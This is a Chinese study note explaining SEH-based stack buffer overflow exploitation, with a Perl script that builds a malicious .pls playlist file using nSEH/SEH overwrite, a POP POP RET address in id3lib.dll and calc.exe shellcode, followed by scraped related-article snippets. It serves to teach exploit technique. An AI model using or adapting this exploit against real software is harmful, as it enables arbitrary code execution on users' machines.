SEH BOF的理解

漏洞利用框架

#junk + nseh + seh + nops + shellcode

junk->冲掉缓冲区

nseh -> jmp to shellcode , 非地址,而只是汇编指令,理由:异常处理时,会将其指向的地址作为参数带入异常处理函数

EXCEPTION_DISPOSITION __cdecl _except_handler (

struct _EXCEPTION_RECORD *_ExceptionRecord,

void * _EstablisherFrame,    //nseh

struct _CONTEXT *_ContextRecord,

void * _DispatcherContext

);

seh -> 异常处理函数地址, POP, POP, RET 将执行流程切到栈中,并且执行nseh指向的指令

#junk + nseh + seh + nops + shellcode

my $file = "exploit.pls";
my $junk = "\x90" x 780;
my $nseh = "\xEB\x0A\x90\x90";                  #jmp 10
my $seh  = "\x4E\xA3\x00\x10";             #pop pop ret  0x1000a34e id3lib.dll
my $nop  = "\x90" x 8;
my $payload =                                      #calc.exe
"\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9" .
"\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56" .
"\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9" .
"\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97" .
"\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64" .
"\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8" .
"\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a" .
"\x1c\x39\xbd";

open($FILE,">$file");
print $FILE $junk.$nseh.$seh.$nop.$payload.$nop;
close($FILE);
时间: 2024-11-07 01:46:43

SEH BOF的理解的相关文章

栈溢出笔记1.9 认识SEH

从本节开始,我们就要研究一些稍微高级点的话题了,如同在1.2节中看到的,Windows中为抵抗栈溢出做了很多保护性的检查工作,编译的程序默认开启了这些保护.如果我们不能绕过这些保护,那么我们的Shellcode也就是一个玩具而已,什么都做不了. 我们从SEH(结构化异常处理)开始. 这篇文章讲SEH简洁易懂:http://www.securitysift.com/windows-exploit-development-part-6-seh-exploits/ 因此,本文的前面部分就直接对其进行翻

【转】《windows核心编程》读书笔记

这篇笔记是我在读<Windows核心编程>第5版时做的记录和总结(部分章节是第4版的书),没有摘抄原句,包含了很多我个人的思考和对实现的推断,因此不少条款和Windows实际机制可能有出入,但应该是合理的.开头几章由于我追求简洁,往往是很多单独的字句,后面的内容更为连贯. 海量细节. 第1章    错误处理 1.         GetLastError返回的是最后的错误码,即更早的错误码可能被覆盖. 2.         GetLastError可能用于描述成功的原因(CreatEvent)

C++Windows核心编程读书笔记

转自:http://www.makaidong.com/%E5%8D%9A%E5%AE%A2%E5%9B%AD%E6%96%87/71405.shtml "C++Windows核心编程读书笔记": 关键词:c++windows 核心 编程 读书笔记 这篇笔记是我在读<windows核心编程>第5版时做的记录和总结(部分章节是第4版的书),没有摘抄原句,包含了很多我个人的思考和对实现的推断,因此不少条款和windows实际机制可能有出入,但应该是合理的.开头几章由于我追求简洁

20145339顿珠达杰 《网络对抗技术》 逆向与Bof基础

目的 通过一些方法,使能够运行本不该被运行的代码部分,或得到shell的使用: 将正常运行代码部分某处call后的目标地址,修改为另一部分我们希望执行.却本不应该执行的代码部分首地址(这需要我们有一定的权限修改可执行文件) 通过缓冲区溢出:输入数据,使其超出缓冲区大小,并覆盖住返回地址(新的返回地址为另一部分我们希望执行.却本不应该执行的代码部分首地址) ...... 基础知识 objdump -d test :反汇编test more : more命令和cat的功能一样都是查看文件里的内容,但

使用了非标准扩展:“xxx”使用 SEH,并且“xxx”有析构函数

如果一个函数内使用了异常处理机制, VC 编译器在编译该函数时,它会给此函数插入一些“代码和信息”(代码指的是当该函数中出现异常时的回调函数,而信息主要是指与异常出现相关的一些必要的链表),因此每份函数只能有一份这样的东东(“代码和信息”),故一个函数只能采用一种形式的异常处理规则. 上图中黄色部分就是新添加的异常信息,通过stack unwinding来实现局部变量的析构函数自动调用.所以在析构函数中不能抛出异常(http://publib.boulder.ibm.com/infocenter

【学生信息管理系统】EOF 和 BOF

敲完学生信息管理系统时,在删除信息的时候,经常会出现下图这样的错误,遇到问题就要解决问题.经过查阅理解了记录集Recordset的EOF和BOF属性,用这两个属性可以知道记录集中是否有信息存在. EOF和BOF属性 BOF 指示当前记录位置位于 Recordset 对象的第一个记录之前. EOF 指示当前记录位置位于 Recordset 对象的最后一个记录之后. 返回值:BOF 和 EOF 属性返回布尔型值. 使用 BOF 和 EOF 属性可确定Recordset 对象是否包含记录,或者从一个记

关于VO、PO的理解——java的(PO,VO,TO,BO,DAO,POJO)解释

O/R Mapping 是 Object Relational Mapping(对象关系映射)的缩写.通俗点讲,就是将对象与关系数据库绑定,用对象来表示关系数据. 在O/R Mapping的世界里,有两个基本的也是重要的东东需要了解,即VO,PO. VO,值对象(Value Object),PO,持久对象(Persisent Object),它们是由一组属性和属性的get和set方法组成.从结构上看,它们并没有什么不同的地方.但从其意义和本质上来看是完全不同的. 1.VO是用new关键字创建,由

SDN理解:SDN现状

目录 - SDN现状 - (一)SDN现状 - SDN诞生的背景 - SDN的介绍 - (二)SDN领域的相关组织和发展现状 - 1.ONF - 2.OpenDaylight - 3. IETF - 4.ETSI SDN现状 (一)SDN现状 SDN诞生的背景 SDN技术其实要从更往前一点的技术说起,也就是传统(现在主流)TCP/IP协议,得益于TCP/IP的巨大成功,出现 IP over Everything.Everything over IP,以至于大学时期计算机网络课程的内容的基本上就是

理解First Chance和Second Chance避免单步调试

原文链接地址:http://blog.csdn.net/Donjuan/article/details/3859160 在现在C++.Java..Net代码大行其道的时候,很多代码错误(Bug)都是通过异常的形式表现出来的.由于工期紧或者种种原因,很多程序员在碰到程序发生未处理的异常的第一反应就是try - catch (Exception e) { - }.然而代码开发到后期的时候,这种简单粗暴的解决代码错误(Bug)的方式就会在其他不相干的地方表现出来,有的时候甚至导致程序随机的不稳定,而且